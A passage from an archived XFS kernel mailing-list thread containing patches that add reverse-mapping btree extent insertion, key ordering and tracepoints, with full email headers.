(__int64_t)be32_to_cpu(kp->rm_startblock) - rec->rm_startblock; + __int64_t d; + + d = (__int64_t)be32_to_cpu(kp->rm_startblock) - rec->rm_startblock; + if (d) + return d; + d = (__int64_t)be64_to_cpu(kp->rm_owner) - rec->rm_owner; + if (d) + return d; + d = (__int64_t)be64_to_cpu(kp->rm_offset) - rec->rm_offset; + return d; } static bool @@ -307,8 +325,16 @@ xfs_rmapbt_keys_inorder( union xfs_btree_key *k1, union xfs_btree_key *k2) { - return be32_to_cpu(k1->rmap.rm_startblock) < - be32_to_cpu(k2->rmap.rm_startblock); + if (be32_to_cpu(k1->rmap.rm_startblock) < + be32_to_cpu(k2->rmap.rm_startblock)) + return 1; + if (be64_to_cpu(k1->rmap.rm_owner) < + be64_to_cpu(k2->rmap.rm_owner)) + return 1; + if (be64_to_cpu(k1->rmap.rm_offset) <= + be64_to_cpu(k2->rmap.rm_offset)) + return 1; + return 0; } STATIC int @@ -317,9 +343,16 @@ xfs_rmapbt_recs_inorder( union xfs_btree_rec *r1, union xfs_btree_rec *r2) { - return be32_to_cpu(r1->rmap.rm_startblock) + - be32_to_cpu(r1->rmap.rm_blockcount) <= - be32_to_cpu(r2->rmap.rm_startblock); + if (be32_to_cpu(r1->rmap.rm_startblock) < + be32_to_cpu(r2->rmap.rm_startblock)) + return 1; + if (be64_to_cpu(r1->rmap.rm_offset) < + be64_to_cpu(r2->rmap.rm_offset)) + return 1; + if (be64_to_cpu(r1->rmap.rm_owner) <= + be64_to_cpu(r2->rmap.rm_owner)) + return 1; + return 0; } #endif /* DEBUG */ diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index 2e02362..a5c97f8 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -51,6 +51,13 @@ struct xfs_btree_cur *xfs_rmapbt_init_cursor(struct xfs_mount *mp, xfs_agnumber_t agno); int xfs_rmapbt_maxrecs(struct xfs_mount *mp, int blocklen, int leaf); +int xfs_rmap_lookup_le(struct xfs_btree_cur *cur, xfs_agblock_t bno, + xfs_extlen_t len, uint64_t owner, uint64_t offset, int *stat); +int xfs_rmap_lookup_eq(struct xfs_btree_cur *cur, xfs_agblock_t bno, + xfs_extlen_t len, uint64_t owner, uint64_t offset, int *stat); +int xfs_rmap_get_rec(struct xfs_btree_cur *cur, struct xfs_rmap_irec *irec, + int *stat); + int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, struct xfs_owner_info *oinfo); From darrick.wong@oracle.com Tue Oct 6 23:57:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8D5427F69 for ; Tue, 6 Oct 2015 23:57:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0704CAC007 for ; Tue, 6 Oct 2015 21:57:15 -0700 (PDT) X-ASG-Debug-ID: 1444193834-04cb6c57850d470001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id rCXuFZkaDQohPTmV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:14 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vCkr006340 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:13 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974vCLx027223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:12 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974vCZ7021203; Wed, 7 Oct 2015 04:57:12 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:12 -0700 Subject: [PATCH 19/58] xfs: add an extent to the rmap btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 19/58] xfs: add an extent to the rmap btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:57:10 -0700 Message-ID: <20151007045710.30457.6962.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193834 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Now all the btree, free space and transaction infrastructure is in place, we can finally add the code to insert reverse mappings to the rmap btree. Freeing will be done in a spearate patch, so just the addition operation can be focussed on here. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_rmap.c | 139 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 138 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index f6fe742..d1b6c82 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -144,6 +144,18 @@ out_error: return error; } +/* + * When we allocate a new block, the first thing we do is add a reference to the + * extent in the rmap btree. This takes the form of a [agbno, length, owner] + * record. Newly inserted extents should never overlap with an existing extent + * in the rmap btree. Hence the insertion is a relatively trivial exercise, + * involving checking for adjacent records and merging if the new extent is + * contiguous and has the same owner. + * + * Note that we have no MAXEXTLEN limits here when merging as the length in the + * record has the full 32 bits available and hence a single record can track the + * entire space in the AG. + */ int xfs_rmap_alloc( struct xfs_trans *tp, @@ -154,18 +166,143 @@ xfs_rmap_alloc( struct xfs_owner_info *oinfo) { struct xfs_mount *mp = tp->t_mountp; + struct xfs_btree_cur *cur; + struct xfs_rmap_irec ltrec; + struct xfs_rmap_irec gtrec; + int have_gt; int error = 0; + int i; if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; trace_xfs_rmap_alloc_extent(mp, agno, bno, len, oinfo); - if (1) + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + + /* + * For the initial lookup, look for and exact match or the left-adjacent + * record for our insertion point. This will also give us the record for + * start block contiguity tests. + */ + error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + + error = xfs_rmap_get_rec(cur, <rec, &i); + if (error) goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + //printk("rmalloc ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", + // agno, bno, len, owner, ltrec.rm_startblock, + // ltrec.rm_blockcount, ltrec.rm_owner); + + XFS_WANT_CORRUPTED_GOTO(mp, + ltrec.rm_startblock + ltrec.rm_blockcount <= bno, out_error); + + /* + * Increment the cursor to see if we have a right-adjacent record to our + * insertion point. This will give us the record for end block + * contiguity tests. + */ + error = xfs_btree_increment(cur, 0, &have_gt); + if (error) + goto out_error; + if (have_gt) { + error = xfs_rmap_get_rec(cur, >rec, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + //printk("rmalloc ag %d bno 0x%x/0x%x/0x%llx, gtrec 0x%x/0x%x/0x%llx\n", + // agno, bno, len, owner, gtrec.rm_startblock, + // gtrec.rm_blockcount, gtrec.rm_owner); + XFS_WANT_CORRUPTED_GOTO(mp, bno + len <= gtrec.rm_startblock, + out_error); + } else { + gtrec.rm_owner = XFS_RMAP_OWN_NULL; + } + + /* + * Note: cursor currently points one record to the right of ltrec, even + * if there is no record in the tree to the right. + */ + if (ltrec.rm_owner == owner && + ltrec.rm_startblock + ltrec.rm_blockcount == bno) { + /* + * left edge contiguous, merge into left record. + * + * ltbno ltlen + * orig: |ooooooooo| + * adding: |aaaaaaaaa| + * result: |rrrrrrrrrrrrrrrrrrr| + * bno len + */ + //printk("add left\n"); + ltrec.rm_blockcount += len; + if (gtrec.rm_owner == owner && + bno + len == gtrec.rm_startblock) { + //printk("add middle\n"); + /* + * right edge also contiguous, delete right record + * and merge into left record. + * + * ltbno ltlen gtbno gtlen + * orig: |ooooooooo| |ooooooooo| + * adding: |aaaaaaaaa| + * result: |rrrrrrrrrrrrrrrrrrrrrrrrrrrrr| + */ + ltrec.rm_blockcount += gtrec.rm_blockcount; + error = xfs_btree_delete(cur, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + } + + /* point the cursor back to the left record and update */ + error = xfs_btree_decrement(cur, 0, &have_gt); + if (error) + goto out_error; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + } else if (gtrec.rm_owner == owner && + bno + len == gtrec.rm_startblock) { + /* + * right edge contiguous, merge into right record. + * + * gtbno gtlen + * Orig: |ooooooooo| + * adding: |aaaaaaaaa| + * Result: |rrrrrrrrrrrrrrrrrrr| + * bno len + */ + //printk("add right\n"); + gtrec.rm_startblock = bno; + gtrec.rm_blockcount += len; + error = xfs_rmap_update(cur, >rec); + if (error) + goto out_error; + } else { + //printk("add no match\n"); + /* + * no contiguous edge with identical owner, insert + * new record at current cursor position. + */ + cur->bc_rec.r.rm_startblock = bno; + cur->bc_rec.r.rm_blockcount = len; + cur->bc_rec.r.rm_owner = owner; + error = xfs_btree_insert(cur, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + } + trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, oinfo); + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; out_error: trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, oinfo); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); return error; } From darrick.wong@oracle.com Tue Oct 6 23:57:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A7B0A7F6C for ; Tue, 6 Oct 2015 23:57:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 98E958F8049 for ; Tue, 6 Oct 2015 21:57:22 -0700 (PDT) X-ASG-Debug-ID: 1444193840-04cb6c57860d490001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id HESOjWPXbx5x3eLg (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:20 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vJD5011552 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:19 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974vJIq005018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:19 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974vIl9021235; Wed, 7 Oct 2015 04:57:19 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:18 -0700 Subject: [PATCH 20/58] xfs: add tracepoints for the rmap-mirrors-bmbt functions From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 20/58] xfs: add tracepoints for the rmap-mirrors-bmbt functions To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:57:17 -0700 Message-ID: <20151007045717.30457.44530.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193840 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_trace.h | 251 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 251 insertions(+) diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 4e7a889..f8ec848 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -1719,6 +1719,257 @@ DEFINE_RMAP_EVENT(xfs_rmap_alloc_extent); DEFINE_RMAP_EVENT(xfs_rmap_alloc_extent_done); DEFINE_RMAP_EVENT(xfs_rmap_alloc_extent_error); +/* rmap-mirrors-bmbt traces */ +DECLARE_EVENT_CLASS(xfs_rmap_bmbt3_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *left, + struct xfs_bmbt_irec *prev, + struct xfs_bmbt_irec *right), + TP_ARGS(mp, agno, ino, whichfork, left, prev, right), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_ino_t, ino) + __field(int, whichfork) + __field(xfs_fileoff_t, l_loff) + __field(xfs_fsblock_t, l_poff) + __field(xfs_filblks_t, l_len) + __field(xfs_fileoff_t, p_loff) + __field(xfs_fsblock_t, p_poff) + __field(xfs_filblks_t, p_len) + __field(xfs_fileoff_t, r_loff) + __field(xfs_fsblock_t, r_poff) + __field(xfs_filblks_t, r_len) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->ino = ino; + __entry->whichfork = whichfork; + __entry->l_loff = left->br_startoff; + __entry->l_poff = left->br_startblock; + __entry->l_len = left->br_blockcount; + __entry->p_loff = prev->br_startoff; + __entry->p_poff = prev->br_startblock; + __entry->p_len = prev->br_blockcount; + __entry->r_loff = right->br_startoff; + __entry->r_poff = right->br_startblock; + __entry->r_len = right->br_blockcount; + ), + TP_printk("dev %d:%d agno %u ino 0x%llx %s (%llu:%lld:%lld):(%llu:%lld:%lld):(%llu:%lld:%lld)", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->ino, + __entry->whichfork == XFS_ATTR_FORK ? "attr" : "data", + __entry->l_poff, + __entry->l_len, + __entry->l_loff, + __entry->p_poff, + __entry->p_len, + __entry->p_loff, + __entry->r_poff, + __entry->r_len, + __entry->r_loff) +); +#define DEFINE_RMAP_BMBT3_EVENT(name) \ +DEFINE_EVENT(xfs_rmap_bmbt3_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_ino_t ino, \ + int whichfork, \ + struct xfs_bmbt_irec *left, \ + struct xfs_bmbt_irec *prev, \ + struct xfs_bmbt_irec *right), \ + TP_ARGS(mp, agno, ino, whichfork, left, prev, right)) + +DECLARE_EVENT_CLASS(xfs_rmap_bmbt2_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *left, + struct xfs_bmbt_irec *prev), + TP_ARGS(mp, agno, ino, whichfork, left, prev), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_ino_t, ino) + __field(int, whichfork) + __field(xfs_fileoff_t, l_loff) + __field(xfs_fsblock_t, l_poff) + __field(xfs_filblks_t, l_len) + __field(xfs_fileoff_t, p_loff) + __field(xfs_fsblock_t, p_poff) + __field(xfs_filblks_t, p_len) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->ino = ino; + __entry->whichfork = whichfork; + __entry->l_loff = left->br_startoff; + __entry->l_poff = left->br_startblock; + __entry->l_len = left->br_blockcount; + __entry->p_loff = prev->br_startoff; + __entry->p_poff = prev->br_startblock; + __entry->p_len = prev->br_blockcount; + ), + TP_printk("dev %d:%d agno %u ino 0x%llx %s (%llu:%lld:%lld):(%llu:%lld:%lld)", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->ino, + __entry->whichfork == XFS_ATTR_FORK ? "attr" : "data", + __entry->l_poff, + __entry->l_len, + __entry->l_loff, + __entry->p_poff, + __entry->p_len, + __entry->p_loff) +); +#define DEFINE_RMAP_BMBT2_EVENT(name) \ +DEFINE_EVENT(xfs_rmap_bmbt2_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_ino_t ino, \ + int whichfork, \ + struct xfs_bmbt_irec *left, \ + struct xfs_bmbt_irec *prev), \ + TP_ARGS(mp, agno, ino, whichfork, left, prev)) + +DECLARE_EVENT_CLASS(xfs_rmap_bmbt1_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *left), + TP_ARGS(mp, agno, ino, whichfork, left), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_ino_t, ino) + __field(int, whichfork) + __field(xfs_fileoff_t, l_loff) + __field(xfs_fsblock_t, l_poff) + __field(xfs_filblks_t, l_len) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->ino = ino; + __entry->whichfork = whichfork; + __entry->l_loff = left->br_startoff; + __entry->l_poff = left->br_startblock; + __entry->l_len = left->br_blockcount; + ), + TP_printk("dev %d:%d agno %u ino 0x%llx %s (%llu:%lld:%lld)", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->ino, + __entry->whichfork == XFS_ATTR_FORK ? "attr" : "data", + __entry->l_poff, + __entry->l_len, + __entry->l_loff) +); +#define DEFINE_RMAP_BMBT1_EVENT(name) \ +DEFINE_EVENT(xfs_rmap_bmbt1_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_ino_t ino, \ + int whichfork, \ + struct xfs_bmbt_irec *left), \ + TP_ARGS(mp, agno, ino, whichfork, left)) + +DECLARE_EVENT_CLASS(xfs_rmap_adjust_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *left, + long adj), + TP_ARGS(mp, agno, ino, whichfork, left, adj), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_ino_t, ino) + __field(int, whichfork) + __field(xfs_fileoff_t, l_loff) + __field(xfs_fsblock_t, l_poff) + __field(xfs_filblks_t, l_len) + __field(long, adj) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->ino = ino; + __entry->whichfork = whichfork; + __entry->l_loff = left->br_startoff; + __entry->l_poff = left->br_startblock; + __entry->l_len = left->br_blockcount; + __entry->adj = adj; + ), + TP_printk("dev %d:%d agno %u ino 0x%llx %s (%llu:%lld:%lld) adj %ld", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->ino, + __entry->whichfork == XFS_ATTR_FORK ? "attr" : "data", + __entry->l_poff, + __entry->l_len, + __entry->l_loff, + __entry->adj) +); +#define DEFINE_RMAP_ADJUST_EVENT(name) \ +DEFINE_EVENT(xfs_rmap_adjust_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_ino_t ino, \ + int whichfork, \ + struct xfs_bmbt_irec *left, \ + long adj), \ + TP_ARGS(mp, agno, ino, whichfork, left, adj)) + +DECLARE_EVENT_CLASS(xfs_rmapbt_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_agblock_t agbno, xfs_extlen_t len, + uint64_t owner, uint64_t offset), + TP_ARGS(mp, agno, agbno, len, owner, offset), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, agbno) + __field(xfs_extlen_t, len) + __field(uint64_t, owner) + __field(uint64_t, offset) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->agbno = agbno; + __entry->len = len; + __entry->owner = owner; + __entry->offset = offset; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u, owner 0x%llx, offset %llu", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->agbno, + __entry->len, + __entry->owner, + __entry->offset) +); +#define DEFINE_RMAPBT_EVENT(name) \ +DEFINE_EVENT(xfs_rmapbt_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_agblock_t agbno, xfs_extlen_t len, \ + uint64_t owner, uint64_t offset), \ + TP_ARGS(mp, agno, agbno, len, owner, offset)) + +DEFINE_RMAP_BMBT3_EVENT(xfs_rmap_combine); +DEFINE_RMAP_BMBT2_EVENT(xfs_rmap_lcombine); +DEFINE_RMAP_BMBT2_EVENT(xfs_rmap_rcombine); +DEFINE_RMAP_BMBT1_EVENT(xfs_rmap_insert); +DEFINE_RMAP_BMBT1_EVENT(xfs_rmap_delete); +DEFINE_RMAP_ADJUST_EVENT(xfs_rmap_move); +DEFINE_RMAP_ADJUST_EVENT(xfs_rmap_slide); +DEFINE_RMAP_ADJUST_EVENT(xfs_rmap_resize); +DEFINE_RMAPBT_EVENT(xfs_rmapbt_update); +DEFINE_RMAPBT_EVENT(xfs_rmapbt_insert); +DEFINE_RMAPBT_EVENT(xfs_rmapbt_delete); + DECLARE_EVENT_CLASS(xfs_da_class, TP_PROTO(struct xfs_da_args *args), TP_ARGS(args), From darrick.wong@oracle.com Tue Oct 6 23:57:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 56F6E7F63 for ; Tue, 6 Oct 2015 23:57:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 488EF8F8037 for ; Tue, 6 Oct 2015 21:57:29 -0700 (PDT) X-ASG-Debug-ID: 1444193847-04cbb03f120d540001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id FFpVqIorl4AwjCbZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:27 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vQAm006435 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:27 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974vQKH022559 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:26 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974vQ8k003221; Wed, 7 Oct 2015 04:57:26 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:26 -0700 Subject: [PATCH 21/58] xfs: teach rmap_alloc how to deal with our larger rmap btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 21/58] xfs: teach rmap_alloc how to deal with our larger rmap btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:57:23 -0700 Message-ID: <20151007045723.30457.72844.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193847 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Since reflink will require the rmapbt to mirror bmbt entries exactly, the xfs_rmap_alloc function is only necessary to handle rmaps for bmbt blocks and AG btrees. Therefore, enhancing the function (and its extent merging code) to handle the larger rmap records can be done simply. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_rmap.c | 50 +++++++++++++++++++++++++++++++--------- fs/xfs/libxfs/xfs_rmap_btree.h | 1 + 2 files changed, 40 insertions(+), 11 deletions(-) diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index d1b6c82..bc25f9c 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -145,16 +145,34 @@ out_error: } /* - * When we allocate a new block, the first thing we do is add a reference to the - * extent in the rmap btree. This takes the form of a [agbno, length, owner] - * record. Newly inserted extents should never overlap with an existing extent - * in the rmap btree. Hence the insertion is a relatively trivial exercise, - * involving checking for adjacent records and merging if the new extent is - * contiguous and has the same owner. - * - * Note that we have no MAXEXTLEN limits here when merging as the length in the - * record has the full 32 bits available and hence a single record can track the - * entire space in the AG. + * A mergeable rmap should have the same owner, cannot be unwritten, and + * must be a bmbt rmap if we're asking about a bmbt rmap. + */ +static bool +is_mergeable_rmap( + struct xfs_rmap_irec *irec, + uint64_t owner, + uint64_t offset) +{ + if (irec->rm_owner == 